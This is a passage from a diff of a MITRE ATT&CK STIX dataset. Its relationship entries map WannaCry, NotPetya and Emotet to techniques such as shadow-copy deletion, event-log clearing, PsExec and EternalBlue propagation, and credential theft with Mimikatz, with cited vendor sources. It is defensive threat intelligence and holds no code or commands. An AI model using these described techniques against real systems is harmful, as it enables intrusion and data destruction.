"uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.603Z", + "id": "relationship--facd3eca-9156-47a8-85d1-09719bc0eb88", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.449Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) attempts to copy itself to remote computers after gaining access via an SMB exploit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.627Z", + "id": "relationship--fe78de3a-107f-4870-b5a1-c60289d68dec", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) utilizes wmic to delete shadow copies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.630Z", + "id": "relationship--6ad5d5c8-b53e-417c-a574-3818269d1e85", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic and routes a custom cryptographic protocol over the [Tor](https://attack.mitre.org/software/S0183) circuit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.635Z", + "id": "relationship--d9bfa498-69a1-44f9-8e44-67a6a4c48088", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses [Tor](https://attack.mitre.org/software/S0183) for command and control traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.662Z", + "id": "relationship--cf498579-a7c9-4d06-949b-fb75bf762990", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.510Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses a custom cryptographic protocol over the [Tor](https://attack.mitre.org/software/S0183) circuit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T13:38:24.672Z", + "id": "relationship--705afee8-c7cc-4af6-a40a-bde1338523b2", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.536Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) creates a task to reboot the system one hour after infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.358Z", + "id": "relationship--3258c355-677c-452d-b1fc-27767232437b", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses wevtutil to clear the Windows event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.372Z", + "id": "relationship--12c24e26-9415-45ef-b844-2bea03ee709e", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) uses rundll32.exe to install itself on remote systems when accessed via [PsExec](https://attack.mitre.org/software/S0029) or wmic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.409Z", + "id": "relationship--cfde6757-e167-4792-a7ba-f40520f7d136", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.411Z", + "id": "relationship--aac8f64e-54d1-4aad-80ee-dd3cd887f30e", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.155Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) contains a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) to help gather credentials that are later used for lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.425Z", + "id": "relationship--7cfb528c-6c2d-4f67-b59e-c343678db839", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.191Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use valid credentials with [PsExec](https://attack.mitre.org/software/S0029) or wmic to spread itself to remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.427Z", + "id": "relationship--e21a2fb4-1ba6-41dc-9278-72f6824382d8", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.186Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029), which interacts with the ADMIN$ network share to execute commands on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.441Z", + "id": "relationship--44232d0d-5a86-4662-8934-054fcc9afbb3", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + }, + { + "source_name": "PsExec Russinovich", + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "[NotPetya](https://attack.mitre.org/software/S0368)'s initial infection vector for the June 27, 2017 compromise was a backdoor in the Ukrainian tax accounting software M.E.Doc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.444Z", + "id": "relationship--e5790d71-64cb-4db3-aeba-702bca1ba5f0", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.189Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + }, + { + "description": "Maynor, D., Nikolic, A., Olney, M., and Younan, Y. (2017, July 5). The MeDoc Connection. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya MEDoc 2017", + "url": "https://blog.talosintelligence.com/2017/07/the-medoc-connection.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use wmic to help propagate itself across a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.456Z", + "id": "relationship--76eae7b3-2e02-41c6-8b31-b81c8d124006", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use [PsExec](https://attack.mitre.org/software/S0029) to help propagate itself across a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.459Z", + "id": "relationship--235a7fee-dfe1-4812-b553-e88bc9d56e89", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:19:52.469Z", + "id": "relationship--771b78fb-4ed1-4c55-b5e8-31775eb60ad2", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + }, + { + "source_name": "US-CERT NotPetya 2017", + "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) drops [PsExec](https://attack.mitre.org/software/S0029) with the filename dllhost.dat.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T16:37:29.044Z", + "id": "relationship--ab372993-3d63-4ca3-a064-e4b5820d8970", + "source_ref": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "modified": "2019-04-24T20:02:45.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", + "source_name": "Talos Nyetya June 2017", + "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed adding the downloaded payload to the HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run key to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.119Z", + "id": "relationship--3236ca50-2342-455a-b258-6a085cae8fc2", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed injecting in to Explorer.exe and other processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.139Z", + "id": "relationship--e834920f-bc30-458e-b56e-80947d3a7c6e", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used Powershell to retrieve the malicious payload and download additional resources like [Mimikatz](https://attack.mitre.org/software/S0002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.143Z", + "id": "relationship--7b458295-8e67-4f1f-acde-3316ae2e061e", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.581Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "source_name": "Red Canary Emotet Feb 2019", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + }, + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has maintained persistence through a scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.149Z", + "id": "relationship--7a28c0d9-28cf-4881-b8a5-8d779eb76e0d", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed creating new services to maintain persistence. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.172Z", + "id": "relationship--eba0a033-02a9-45e8-a1a1-27df73d6442b", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.599Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed to hook network APIs to monitor network traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.178Z", + "id": "relationship--aa6d74b0-3db2-4679-bf1c-03d3dd7561b0", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has been seen exploiting SMB via a vulnerability exploit like ETERNALBLUE (MS17-010) to achieve lateral movement and propagation. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26T17:48:52.214Z", + "id": "relationship--6cb2f741-eedb-4b1d-8d84-7823f0095d44", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:29.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 